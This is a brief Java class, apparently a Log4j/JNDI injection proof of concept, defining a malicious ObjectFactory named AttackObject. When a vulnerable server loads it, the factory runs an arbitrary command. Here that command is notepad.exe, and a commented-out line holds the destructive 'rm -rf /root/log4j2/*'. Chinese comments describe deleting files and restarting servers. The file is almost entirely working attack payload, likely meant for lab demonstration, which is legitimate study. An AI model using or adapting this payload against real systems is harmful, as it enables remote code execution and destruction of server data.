import javax.naming.Context;
import javax.naming.Name;
import java.util.Hashtable;

public class AttackObject implements javax.naming.spi.ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("执行攻击代码了22......");
        //进行攻击破坏，破坏可以去删除文件，重启服务器等等，危害非常大的
        Process pro = Runtime.getRuntime().exec("notepad.exe");
        //Process pro = Runtime.getRuntime().exec("rm -rf /root/log4j2/*");
        return null;
    }
}